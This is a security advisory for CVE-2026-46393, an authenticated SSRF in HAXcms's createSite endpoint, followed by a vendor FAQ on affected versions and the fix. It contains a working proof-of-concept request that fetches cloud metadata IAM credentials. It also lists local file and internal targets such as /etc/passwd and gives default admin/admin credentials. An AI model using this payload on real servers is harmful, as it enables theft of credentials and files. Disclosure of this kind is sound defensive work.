CVE-2026-46393

An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.

Details

The createSite endpoint in HAXcms (v11.0.6) accepts a build.files parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using file_get_contents().

The data flow is as follows:

• User input (build.files) is processed via object_to_array() into a PHP array
• Assigned to $filesToDownload in Operations.php (line 2626)
• Iterated over in Operations.php (line 2730), where each entry is passed to HAXCMSFile::save() with bulk-import enabled

In HAXCMSFile.php (line 30), the following occurs:

file_get_contents($upload['tmp_name']);

Here, tmp_name is attacker-controlled and may contain:

• External URLs (http://attacker.com)
• Internal services (http://127.0.0.1)
• Cloud metadata endpoints (http://169.254.169.254)
• Local file paths (/etc/passwd, /proc/self/environ)

The bulk-import flag bypasses is_uploaded_file() validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.

There are no restrictions on:

• URL schemes (http, file, gopher, etc.)
• Destination IP ranges (internal, loopback, metadata services)
• Response content

All fetched content is written to:

sites/<sitename>/files/<filename>

and is accessible via the web.

PoC

Prerequisites:

• Authenticated session (default credentials: admin/admin on fresh installs)
• Valid JWT and CSRF token

Step 1: Log in and capture JWT + CSRF token

Step 2: Send crafted request:

POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json

{
  "site": {
    "name": "poc"
  },
  "build": {
    "files": {
      "poc.txt": {
        "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
      }
    }
  }
}

Step 3: Retrieve response:

GET /sites/poc/files/poc.txt

The response will contain the fetched content (e.g., cloud credentials or internal service data).

• SSRF enabling access to internal network services
• Arbitrary file read via local filesystem paths
• Cloud credential exposure through metadata endpoints
• Data exfiltration via web-accessible file storage

Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

Kodem intelligence

1. What is CVE-2026-46393? CVE-2026-46393 is a high-severity server-side request forgery (SSRF) vulnerability in @haxtheweb/haxcms-nodejs (npm), affecting versions <= 25.0.0. It is fixed in 26.0.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. Which versions of @haxtheweb/haxcms-nodejs are affected by CVE-2026-46393? @haxtheweb/haxcms-nodejs (npm) versions <= 25.0.0 is affected.
3. Is there a fix for CVE-2026-46393? Yes. CVE-2026-46393 is fixed in 26.0.0. Upgrade to this version or later.
4. Is CVE-2026-46393 exploitable, and should I be worried? Whether CVE-2026-46393 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-46393 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-46393? Upgrade @haxtheweb/haxcms-nodejs to 26.0.0 or later.